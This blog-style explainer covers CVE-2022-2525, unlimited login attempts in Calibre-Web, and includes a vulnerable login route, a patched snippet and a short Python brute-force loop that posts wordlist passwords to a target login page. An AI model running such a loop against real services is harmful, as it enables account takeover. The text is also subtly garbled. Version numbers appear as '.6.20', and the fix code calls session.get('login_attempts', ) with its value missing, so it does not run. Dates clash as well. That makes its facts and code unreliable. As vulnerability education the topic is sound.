Calibre-Web is a super useful web app for managing eBook libraries. Loads of home users and even some organizations run it for their reading collections. But in early 2022, a dangerous security bug was identified: CVE-2022-2525, “Improper Restriction of Excessive Authentication Attempts.” If you used Calibre-Web before version .6.20, this flaw could have left your account wide open.

Let’s break down what happened, show actual code snippets, explain how attackers could use this bug, and finish with how you can protect yourself.

What Was CVE-2022-2525?

At its heart, CVE-2022-2525 was about the login page not limiting how many times you could mess up your password. No lockouts, no waiting after a bunch of failures—just unlimited attempts. This is like letting someone stand at your door and try every possible key until they get in!

Official summary

> “Improper Restriction of Excessive Authentication Attempts in GitHub repository janeczku/calibre-web prior to .6.20 allows a remote attacker to brute force credentials.”

Source: NVD - CVE-2022-2525

The Backstory: What Was Broken?

Calibre-Web’s login logic (in cps/server.py and similar files) did not track the number of failed login attempts. There was no cooldown, no account lock, not even a rate limit. This meant you could script a login attack and hammer the endpoint with thousands of password guesses per minute.

Here’s a simplified code snip from before v.6.20

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    user = User.query.filter_by(username=username).first()
    if user and verify_password(user.password, password):
        session['user_id'] = user.id
        return redirect(url_for('dashboard'))
    else:
        flash('Incorrect username or password')
        return render_template('login.html')

Notice there’s no check for how many times a login is tried, and no delay if you fail!

With no limits, an attacker could

1. Pick a username: Guess common ones (like admin, user, test), or scrape info from public sources.
2. Run a brute-force attack: Use a tool like hydra, ncrack, or their own Python script to smash the login page with thousands of passwords.

Get in: If passwords aren’t strong, eventually the attacker logs in.

Here’s a very simple example of a brute-force loop an attacker might use (for educational demonstration):

import requests

username = "admin"
url = "http://target-calibre-web/login";
passwords = open("wordlist.txt").read().splitlines()

for pw in passwords:
    r = requests.post(url, data={"username": username, "password": pw})
    if "Dashboard" in r.text:
        print(f"Success! Password is: {pw}")
        break

This is how simple it can be. (Do not use this on systems you don’t own!)

Automated Attacks: Bots can try passwords night and day.

- Weak Passwords Break Fast: If users used simple passwords (password123, admin, etc), accounts would be wide open.

The Fix in v.6.20

In response to CVE-2022-2525, the maintainers added rate limiting and/or lockout protections in version .6.20. This update introduced:

Delays and error handling after too many attempts

You can read the discussion and fix in the GitHub pull request.

Example of improved login logic

if session.get('login_attempts', ) > 5:
    flash('Too many failed login attempts. Please try again later.')
    return render_template('login.html')

Update Immediately:

If you’re still on <.6.20, update to the latest Calibre-Web version.

References

- CVE-2022-2525 NVD Entry
- Calibre-Web security changelogs
- The patch on GitHub

Wrapping Up

CVE-2022-2525 is a classic example: something as basic as rate limiting can be the difference between secure reading and total compromise. If you use Calibre-Web, make sure you’re up-to-date. And if you run any web service, never overlook simple protections on your login page. It could save you from a world of hurt.

Timeline

Published on: 04/15/2023 13:15:00 UTC
Last modified on: 04/24/2023 18:50:00 UTC